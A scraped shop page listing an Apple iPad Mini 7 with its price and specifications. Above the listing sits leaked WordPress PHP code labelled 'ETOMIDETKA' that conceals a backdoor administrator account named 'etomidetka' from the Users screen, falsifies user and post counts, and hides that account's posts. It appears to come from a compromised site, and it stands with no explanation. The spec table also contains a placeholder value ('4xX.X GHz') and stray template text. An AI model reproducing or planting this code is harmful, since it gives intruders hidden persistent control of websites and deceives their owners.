//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
Apple iPad Mini 7 128gb WiFi 2024 | RARO Tech
Apple iPad Mini 7 128gb WiFi 2024
৳ 66,000.00
In Stock
- Brand: Apple
- Model: iPad mini-7
- Display size: 8.3”
- Apple Store 1 Year Warranty Support
Brand |
Apple |
Platform |
OS – iPadOS 18 | Chipset – Apple A17 Pro (3 nm) | CPU – Hexa-core (2×3.78 GHz + 4xX.X GHz) | GPU – Apple GPU (5-core graphics) |
Model |
iPad mini 7 |
Network |
Technology – GSM / HSPA / LTE / 5G |
Dimensions |
195.4 x 134.8 x 6.3 mm | Weight – 293 g | Build – Glass front, aluminum back, aluminum frame | SIM – eSIM |
Display |
Type – Liquid Retina IPS LCD | Size – 8.3 inches | Resolution – 1488 x 2266 pixels | Protection – Scratch-resistant glass, oleophobic coating |
Memory |
Card Slot – No | Internal – 128GB 8GB RAM, 256GB 8GB RAM, 512GB 8GB RAM |
Main Camera |
12 MP, f/1.8, (wide), AF |
Selfie Camera |
12 MP, f/2.4, 122˚ (ultrawide) |
Sound |
Loudspeaker – Yes, with stereo speakers | 3.5mm jack – No |
Battery Info |
Li-Ion 5078 mAh, non-removable |
Other Features / Info |
USB Type-C 3.1 Gen2, DisplayPort, Apple Intelligence, Apple Pencil Pro support |
Your custom content goes here. You can add the content for individual product
Reviews
There are no reviews yet.